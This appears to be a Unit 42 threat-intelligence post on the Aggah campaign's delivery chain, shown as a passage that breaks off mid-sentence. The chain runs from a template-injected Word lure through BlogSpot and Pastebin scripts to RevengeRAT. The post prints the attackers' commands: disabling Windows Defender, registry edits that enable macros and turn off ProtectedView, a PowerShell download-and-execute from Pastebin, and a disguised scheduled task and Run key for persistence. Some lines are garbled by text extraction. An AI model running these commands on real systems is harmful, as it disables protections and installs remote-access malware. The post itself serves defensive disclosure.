# Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale Campaign **[unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign](https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/)** By Robert Falcone and Brittany Ash April 17, 2019 # Executive Summary In March 2019, Unit 42 began looking into an attack campaign that appeared to be primarily focused on organizations within a Middle Eastern country. Further analysis revealed that this activity is likely part of a much larger campaign impacting not only that region but also the United States, and throughout Europe and Asia. Our analysis of the delivery document revealed it was built to load a malicious macro-enabled document from a remote server via [Template Injection. These macros use](https://attack.mitre.org/techniques/T1221/) BlogSpot posts to obtain a script that uses multiple Pastebin pastes to download additional scripts, which ultimately result in the final payload being RevengeRAT configured with a duckdns[.]org domain for C2. During our research, we found several related delivery documents that followed the same process to ultimately install RevengeRAT hosted on Pastebin, which suggests the actors used these TTPs throughout their attack campaign. Initially, we believed this activity to be potentially associated with the Gorgon Group. Our hypothesis was based on the high level TTPs including the use of RevengeRAT. However, Unit 42 has not yet identified direct overlaps with other high-fidelity Gorgon Group indicators. Based on this, we are not able to assign this activity to the Gorgon group with an appropriate level of certainty. In light of that, Unit 42 refers to the activity described in this blog as the Aggah Campaign based on the actor’s alias “hagga”, which was used to split data sent to the RevengeRAT C2 server and was the name of one of the Pastebin accounts used to host the RevengeRAT payloads. # The Delivery Our research into the Aggah campaign began with a delivery document sent to organizations in a single Middle Eastern country via an email on March 27, 2019. This email appeared to originate from a large financial institution in the same country, although it was likely spoofed. The subject of the email was “Your account is locked.” This initial delivery document was sent to organizations in one Middle Eastern country, specifically to organizations in the education, media/marketing, and government verticals. Four days later on March 31, we saw the same delivery email sent to a financial organization in a second Middle Eastern country. We later discovered that this delivery document was just one of many in a larger campaign sent to organizations in the United States, Europe and Asia targeting the same verticals as in the Middle East as well as Technology, Retail, Manufacturing, State/Local Government, Hospitality, Medical, Technology, and other Professional business. The related documents were functionally similar, so we will describe the original sample we analyzed. The email sent on March 27 had a Word document attached with the filename “Activity.doc” (SHA256: d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946) that attempted to load a remote OLE document via [Template Injection. When](https://attack.mitre.org/techniques/T1221/) “Activity.doc” is opened, it displays the image in Figure 1 as a lure in an attempt to trick the user into enabling content to allow macros to run. The lure suggests that the user must open the document in the desktop versions of Microsoft Word, as macros do not function in the online version of Word in Office 365.The “Activity.doc” file does not contain a macro, but the OLE document that it loads from the remote server does contain a macro. _Figure 1. Lure image used in Activity.doc to trick user into enabling macros_ # Activity.doc Analysis The delivery document uses [Template Injection to load a file hosted on a remote server. Figure 2 shows the contents of the delivery document’s footer that attempts to](https://attack.mitre.org/techniques/T1221/) load a remote OLE document from hxxps://static.wixstatic[.]com/ugd/05e470_b104c366c1f7423293887062c7354db2.doc: ----- _g_ _y_ _g_ The remote OLE file loaded in the footer of Activity.doc file is actually an RTF file (SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f) that loads an embedded Excel document with a heavily obfuscated macro that contains a significant amount of ‘junk’ code. The purpose of this macro is to decode and execute the following URL via the “Shell” command: mshta hxxp://www.bitly[.]com/SmexEaldos3 The command above uses the built-in “mshta” application to download the contents of URL provided, in this case a shortened URL using the Bit.ly service. During WildFire’s analysis, the shortened bit.ly URL redirected to hxxps://bjm9.blogspot[.]com/p/si.html, as seen in the “Location” field of the HTTP response in Figure 3. _Figure 3. Bit.ly shortened link pointing to blog hosted at Blogspot_ As you can see in the GET request above, the redirect points the browser (“mshta.exe” in this case) to a blog hosted on blogspot[.]com. As you can see in Figure 4, this BlogSpot article appears a bit odd but not necessarily malicious. _Figure 4. bjm9.blogspot[.]com screen capture_ By analyzing the code hosted on the blog, we discovered it actually includes a JavaScript embedded within it that performs several activities. Figure 5 shows the malicious JavaScript hosted at the seemingly innocuous blog. ----- _Figure 5. Script embedded in bjm9 Blogspot article_ The malicious script carries out several activities on the compromised system. First, it attempts to hamper Microsoft Defender by removing its signature set. The script also kills the Defender process along with the processes for several Office applications. All of this is performed using the following command line: cmd.exe /c cd “”%ProgramFiles%\Windows Defender”” & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & forfiles /c “”taskkill /f /im MSASCuiL.exe”” & forfiles /c “”taskkill /f /im MpCmdRun.exe”” & exit The script then attempts to disable security mechanisms within Office products, specifically by setting registry key values to enable macros and to disable ProtectedView. First, the script enables macros within Word, PowerPoint and Excel by setting the following registry keys to a value of “1”: HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings The script then attempts to disable the ProtectedView security mechanism within Word, PowerPoint and Excel by setting the following registry keys to a value of “1”: HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV ----- y HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV The technique of enabling macros and disabling ProtectedView in Office, including the order in which the registry keys were modified was also described in our blog covering the Gorgon group. Also, the tactic of killing processes for Windows Defender and Microsoft Office applications was also carried out by Gorgon as well. The Gorgon group also used the bitly URL shortening service in their attacks, but while these are obvious technique overlaps, we still do not have concrete evidence that this attack campaign is associated with Gorgon. The script hosted on Blogspot then carries out three main activities that include: 1. Downloading a payload from a Pastebin URL 2. Creating a scheduled task to periodically obtain and run a script from a Pastebin URL 3. Creating an autorun registry key to obtain and run a script from a Pastebin URL ## Obtaining a payload from Pastebin The script hosted at Blogspot obtains a portable executable payload from a Pastebin URL and executes it. The script builds the following command and attempts to run it using the WScript.Shell object: ----- p j ( p ) ( p [ y] ([ y ] g(( Object Net.WebClient).DownloadString(\’h\’+\’t\’+\’t\’+\’p\’+\’s:\’+\’//p\’+\’a\’+\’s\’+\’t\’+\’e\’+\’b\’+\’i\’+\’n\’+\’.\’+\’c\’+\’o\’+\’m\’+\’/\’+\’r\’+\’a\’+\’w\’+\’/\’+\’2LDaeHE1\’))).EntryPoint.Invoke($N,$ (window.close) The command above results in the downloading of a portable executable hosted on Pastebin at https://pastebin[.]com/raw/2LDaeHE1, decoding the base64 downloaded from the URL, and then executing it. Figure 6 shows the Pastebin page hosting the executable downloaded by the script. _Figure 6. 2LDaeHE1 Pastebin page_ The decoded payload has the following attributes: SHA256 b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde110 13a60f6b5 Compile Time 2019-03-20 19:43:08 _Table 2. Decoded payload from pastebin[.]com/raw/2LDaeHE1_ This payload was written in VB.NET and named “Nuclear Explosion,” which is a variant of RevengeRAT configured to use the domain “lulla.duckdns[.]org” for C2, as seen in Figure 7. _Figure 7. RevengeRAT configuration_ According to its configuration seen in Figure 8, when sending data to the C2 server, it will split the information using the string “hagga“, which is the same name as the PasteBin account hosting the payload information seen in Figure 6 and the basis of the Aggah campaign name. ----- _Figure 8. Configuration showing the string “hagga” used to split information sent to the C2 server_ ## Creating a Scheduled Task The script hosted at the Blogspot blog builds another command to create a scheduled task called “eScan Backup” that runs every 100 minutes. The command string generated by the script used to create this scheduled task is: schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr “”mshta vbscript:CreateObject(“”Wscript.Shell””).Run(“”mshta.exe https://pastebin[.]com/raw/tb5gHu2G””,0,true)(window.close)”” /F ‘ The “eScan Backup” task will use the built-in mshta application to download a script from a Pastebin URL, specifically at hxxps://pastebin[.]com/raw/tb5gHu2G that we will continue to refer to as the tb5gHu2G script. We believe the actors chose the name “eScan Backup” to appear related to the eScan antivirus products. Figure 9 shows the scheduled task in Windows’ Task Scheduler program. _Figure 9. Scheduled task created to reach out to Pastebin URL and run the hosted script every 100 minutes_ The scheduled task downloading and running the tb5gHu2G script is meant for persistence, as it runs the same command to hamper Windows Defender and kill Office applications. The tb5gHu2G script also attempts to run the same VBScript as the script hosted on the Blogspot blog, of which downloads and executes the payload from the “2LDaeHE1” Pastebin page shown in Figure 6. Figure 10 shows the Pastebin page hosting the tb5gHu2G script. ----- _Figure 10. tb5gHu2G Pastebin page_ ## Creating an Autorun Registry Key The script hosted at the Blogspot blog creates an autorun registry key, which appears to be a second persistence mechanism to supplement the previously mentioned scheduled task. To create the autorun key, the script generates the following command that it will attempt to run: CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate”, “C:\Windows\System32\mshta.exe vbscript:CreateObject(“”Wscript.Shell””).Run(“”mshta.exe%20http://pastebin[.]com/raw/YYZq1XR0″”,0,true)(window.close)”, “REG_EXPAND_SZ” This run key will attempt to download the contents hosted at yet another Pastebin URL of http://pastebin[.]com/raw/YYZq1XR0 and run the contents as a script using the Wscript.Shell object. Figure 11 shows the Pastebin page displaying the contents of the script. _Figure 11. YYZq1XR0 Pastebin page_ The YYZq1XR0 Pastebin paste contains the following script that does very little: